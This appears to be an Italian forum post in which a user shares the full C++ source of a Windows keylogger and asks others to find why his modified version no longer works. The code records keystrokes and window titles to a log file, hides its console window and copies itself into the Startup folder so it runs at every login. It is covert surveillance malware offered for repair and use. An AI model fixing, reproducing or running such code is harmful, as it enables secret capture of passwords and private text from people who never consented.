Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!
Questo è il codice:
codice:/* KeyLogger v.Beta Author: RYZ Language: C++ */ #include <iostream> #include <windows.h> #include <cstring> #include <fstream> using namespace std; void logga(char stringa[500]); void logga(char carattere); // OVERLOAD void nasc_sposta(char *dir_destinazione); char *GetEsecAutoDir(); ofstream log; //File di LOG char *destinazioneLog; // Destinazione file di log int main() { nasc_sposta(GetEsecAutoDir()); int key; HWND finestra_corrente; char titolo_finestra[255], attuale[255]; while(1) { Sleep(10); // Per non usare tutta la CPU finestra_corrente = GetForegroundWindow(); GetWindowText(finestra_corrente, titolo_finestra, 254); if(strcmp(titolo_finestra, attuale)!= 0) { logga("\n"); logga(titolo_finestra); logga("\n"); } strcpy(attuale, titolo_finestra); // ========================= Titolo Finestra ================ if(GetAsyncKeyState(key)== -32767){ // Tasti F1,F1,F2 ecc if(key >= 112 and key <= 123){ switch(key){ case 112: logga("[F1]"); break; case 113: logga("[F2]"); break; case 114: logga("[F3]"); break; case 115: logga("[F4]"); break; case 116: logga("[F5]"); break; case 117: logga("[F6]"); break; case 118: logga("[F7]"); break; case 119: logga("[F8]"); break; case 120: logga("[F9]"); break; case 121: logga("[F10]"); break; case 122: logga("[F11]"); break; case 123: logga("[F12]"); break; } } // Alfabeto if(key >= 65 && key <= 90){ if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo logga(key); }else{ // Se no memorizziamola in minuscolo key += 32; logga(key); } } // TASTI numerici if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift ... switch(key){ case 48 : logga('='); break; case 49 : logga('!'); break; case 50 : logga('"'); break; case 51 : logga('£'); break; case 52 : logga('$'); break; case 53 : logga('%'); break; case 54 : logga('&'); break; case 55 : logga('/'); break; case 56 : logga('('); break; case 57 : logga(')'); break; } }else{ // Se no stampa i numeri if(key >= 48 && key <= 57)logga(key); } if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto Shift ... switch(key){ case 186 : logga('é'); break; case 187 : logga('*'); break; case 188 : logga(';'); break; case 189 : logga('_'); break; case 190 : logga(':'); break; case 191 : logga('§'); break; case 192 : logga('ç'); break; case 219 : logga('?'); break; case 220 : logga('|'); break; case 221 : logga('^'); break; case 222 : logga('°'); break; case 226 : logga('>'); break; } }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128 )&&(GetAsyncKeyState(18)==-127 || GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 || GetAsyncKeyState(162)==-128 )&& (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){ // Se tiene premuto ALT GR switch(key){ case 101 : logga('€'); break; case 192 : logga('@'); break; case 222 : logga('#'); break; case 187 : logga(']'); break; case 186 : logga('['); break; } }else{ // Se no switch(key){ case 192 : logga('ò'); break; case 191 : logga('ù'); break; case 222 : logga('à'); break; case 187 : logga('+'); break; case 186 : logga('è'); break; case 188 : logga(','); break; case 190 : logga('.'); break; case 189 : logga('-'); break; case 219 : logga('\''); break; case 221 : logga('ì'); break; case 226 : logga('<'); break; case 220 : logga('\\'); break; } switch(key){ case 8 : logga("[BACK]"); break; case 9 : logga("[TABLE]"); break; case 11: logga("[HOME]"); break; case 13: logga("[RETURN]"); break; case 27: logga("[ESC]"); break; case 32: logga("[SPACE]"); break; case 33: logga("[PAG SU]"); break; case 34: logga("[PAG GIU]"); break; case 35: logga("[END]"); break; case 36: logga("[HOME]"); break; case 37: logga("[LEFT]"); break; case 38: logga("[TOP]"); break; case 39: logga("[RIGHT]"); break; case 40: logga("[BOTTOM]"); break; case 44: logga("[STAMP SCREEN]"); break; case 45: logga("[INS]"); break; case 46: logga("[CANC]"); break; case 91: logga("[WINDOWS]"); break; case 92: logga("[WINDOWS]"); break; case 96: logga('0'); break; case 97: logga('1'); break; case 98: logga('2'); break; case 99: logga('3'); break; case 100: logga('4'); break; case 101: logga('5'); break; case 102: logga('6'); break; case 103: logga('7'); break; case 104: logga('8'); break; case 105: logga('9'); break; case 106: logga('*'); break; case 107: logga('+'); break; case 109: logga('-'); break; case 110: logga('.'); break; case 111: logga('/'); break; case 144: logga("[BLOC NUM]"); break; case 145: logga("[BLOC SCORR]"); break; case 163: logga("[ESC]"); break; case 255: logga("[SPACE]"); break; } } } } return 0; } void nasc_sposta(char *dir_destinazione) { HWND invisibile; invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger ShowWindow(invisibile, SW_HIDE); //Nascondo finestra MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica } char *GetEsecAutoDir() { char disco[255], utente[255], *user_path; DWORD *a; user_path = new char[255]; // Alloccazione dinamica a = new DWORD[255]; // Come sopra GetSystemDirectory(disco, 254); // Prendo disco rigido in uso destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale GetUserName(utente, a); // Prendo Nome Utente strncpy(user_path, disco, 3); // strcat(user_path, "Documents and Settings\\"); strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get(); strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe"); return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto } void logga(char carattere) // Loggo caratteri { log.open("log.txt", ios::app); log << carattere; log.close(); } void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe { log.open("log.txt", ios::app); log << stringa; log.close(); }

